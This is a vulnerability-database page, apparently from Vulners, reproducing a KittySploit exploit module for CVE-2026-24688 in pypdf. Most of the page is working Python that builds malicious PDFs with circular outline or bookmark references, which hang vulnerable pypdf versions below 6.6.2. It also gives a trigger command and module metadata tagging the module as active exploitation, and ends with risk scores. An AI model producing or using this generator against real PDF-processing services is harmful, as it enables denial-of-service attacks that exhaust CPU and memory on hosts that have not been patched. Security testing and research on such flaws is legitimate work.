Lucene search
+L

pypdf CVE-2026-24688 circular outline DoS PDF

🗓️ 26 Jul 2026 08:19:05Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Circular outline in pypdf leads to DoS.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-24688 — pypdf circular outline DoS PDF generator."""

from pathlib import Path

from kittysploit import *


def _pdf_escape(text: str) -> str:
    return text.replace("\\", "\\\\").replace("(", "\\(").replace(")", "\\)")


def _write_pdf(path: Path, objects: list) -> None:
    """Write a minimal PDF with a correct xref table (1-indexed objects)."""
    header = b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n"
    body = header
    offsets = [0]
    for index, obj in enumerate(objects, start=1):
        if isinstance(obj, str):
            obj = obj.encode("latin-1", errors="replace")
        offsets.append(len(body))
        body += f"{index} 0 obj\n".encode("ascii") + obj + b"\nendobj\n"

    xref_pos = len(body)
    xref = [f"xref\n0 {len(objects) + 1}\n", "0000000000 65535 f \n"]
    for offset in offsets[1:]:
        xref.append(f"{offset:010d} 00000 n \n")
    trailer = (
        f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_pos}\n%%EOF\n"
    )
    data = body + "".join(xref).encode("ascii") + trailer.encode("ascii")
    path.parent.mkdir(parents=True, exist_ok=True)
    path.write_bytes(data)


def write_circular_next_outline(path: Path) -> None:
    """Outline A → Next B → Next A (sibling cycle)."""
    objects = [
        b"<< /Type /Catalog /Pages 2 0 R /Outlines 5 0 R >>",
        b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
        b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << >> /Contents 7 0 R >>",
        # 4 = Bookmark A
        (
            f"<< /Title ({_pdf_escape('Bookmark A')}) /Parent 5 0 R "
            f"/Next 6 0 R /Dest [3 0 R /Fit] >>"
        ).encode("latin-1"),
        # 5 = Outlines root
        b"<< /Type /Outlines /First 4 0 R /Last 6 0 R /Count 2 >>",
        # 6 = Bookmark B → Next A (circular)
        (
            f"<< /Title ({_pdf_escape('Bookmark B')}) /Parent 5 0 R "
            f"/Next 4 0 R /Dest [3 0 R /Fit] >>"
        ).encode("latin-1"),
        # 7 = empty content stream
        b"<< /Length 0 >>\nstream\n\nendstream",
    ]
    _write_pdf(path, objects)


def write_nested_circular_outline(path: Path) -> None:
    """A /First→B, B /Next→C, C /First→A (nesting cycle)."""
    objects = [
        b"<< /Type /Catalog /Pages 2 0 R /Outlines 5 0 R >>",
        b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
        b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << >> /Contents 8 0 R >>",
        # 4 = Section A
        (
            f"<< /Title ({_pdf_escape('Section A')}) /Parent 5 0 R "
            f"/First 6 0 R /Dest [3 0 R /Fit] >>"
        ).encode("latin-1"),
        # 5 = Outlines root
        b"<< /Type /Outlines /First 4 0 R /Last 4 0 R /Count 1 >>",
        # 6 = Section B
        (
            f"<< /Title ({_pdf_escape('Section B')}) /Parent 4 0 R "
            f"/Next 7 0 R /Dest [3 0 R /Fit] >>"
        ).encode("latin-1"),
        # 7 = Section C → First A (circular)
        (
            f"<< /Title ({_pdf_escape('Section C')}) /Parent 4 0 R "
            f"/First 4 0 R /Dest [3 0 R /Fit] >>"
        ).encode("latin-1"),
        b"<< /Length 0 >>\nstream\n\nendstream",
    ]
    _write_pdf(path, objects)


class Module(Auxiliary):
    __info__ = {
        "name": "pypdf CVE-2026-24688 circular outline DoS PDF",
        "description": (
            "Generates a malicious PDF with circular outline/bookmark references "
            "(A→B→A or nested /First cycle). Vulnerable pypdf (< 6.6.2) enters an "
            "infinite loop when accessing reader.outline (CVE-2026-24688 / CWE-835). "
            "Does not require pypdf to generate the file. Triggering the DoS needs a "
            "consumer that parses outlines with a vulnerable pypdf."
        ),
        "author": ["JoakimBulow", "KittySploit Team"],
        "cve": ["CVE-2026-24688"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-24688",
            "https://github.com/py-pdf/pypdf/security/advisories/GHSA-2q4j-m29v-hq73",
            "https://github.com/py-pdf/pypdf/pull/3610",
        ],
        "tags": [
            "pdf",
            "pypdf",
            "dos",
            "outline",
            "bookmark",
            "fileformat",
            "cve-2026-24688",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 0,
            "reversible": True,
            "approval_required": True,
            "produces": ["exploit_paths"],
            "cost": 0.5,
            "noise": 0.1,
            "value": 0.7,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["pypdf", "pdf"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [],
            },
        },
    }

    mode = OptString(
        "circular",
        "Outline cycle type: circular (Next A↔B) | nested (/First cycle) | both",
        required=False,
    )
    output_dir = OptString("output/pdf", "Directory for generated PDFs", required=False)
    filename_prefix = OptString(
        "pypdf_cve_2026_24688",
        "Filename prefix (without .pdf)",
        required=False,
    )

    def run(self):
        mode = str(self.mode or "circular").strip().lower()
        out_dir = Path(str(self.output_dir or "output/pdf"))
        prefix = str(self.filename_prefix or "pypdf_cve_2026_24688").strip() or "pypdf_cve_2026_24688"

        print_status("CVE-2026-24688 — pypdf circular outline DoS generator")
        print_warning(
            "Generated PDFs can hang/crash vulnerable pypdf (< 6.6.2) when reading .outline"
        )

        created = []
        if mode in ("circular", "both", "next", "sibling"):
            path = out_dir / f"{prefix}_circular_next.pdf"
            write_circular_next_outline(path)
            created.append(path)
            print_success(f"Circular /Next: {path}")
            print_info("  Outline A → Next B → Next A")

        if mode in ("nested", "both", "first"):
            path = out_dir / f"{prefix}_nested_first.pdf"
            write_nested_circular_outline(path)
            created.append(path)
            print_success(f"Nested /First: {path}")
            print_info("  A /First→B, B /Next→C, C /First→A")

        if not created:
            print_error(f"Unknown mode: {mode} (use circular | nested | both)")
            return False

        print_info("Trigger example (vulnerable pypdf only, use timeout):")
        print_info(
            "  python -c \"from pypdf import PdfReader; "
            f"print(PdfReader(r'{created[0]}').outline)\""
        )
        print_warning("Authorized testing only — can exhaust CPU/memory on vulnerable hosts")
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Jul 2026 08:19Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.14.3
CVSS 45.1
EPSS0.00451
SSVC
1